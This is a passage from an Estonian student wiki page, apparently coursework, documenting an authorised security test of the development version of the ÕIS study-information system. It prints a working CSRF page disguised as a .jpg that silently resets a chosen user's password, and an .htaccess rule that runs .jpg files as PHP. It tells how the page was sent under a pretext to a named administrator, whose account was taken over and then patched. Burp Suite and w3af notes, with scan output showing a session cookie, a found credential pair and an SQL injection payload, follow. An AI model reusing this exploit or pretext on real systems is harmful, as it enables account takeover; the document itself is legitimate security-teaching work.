&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
===Burp suite===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
Alo Konno&amp;lt;br&amp;gt;&lt;br /&gt;
Urmo Lihten&amp;lt;br&amp;gt;&lt;br /&gt;
Taavi Podžuks&amp;lt;br&amp;gt;&lt;br /&gt;
Matis Alliksoo&amp;lt;br&amp;gt;&lt;br /&gt;
Sander Saarm&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
</feed>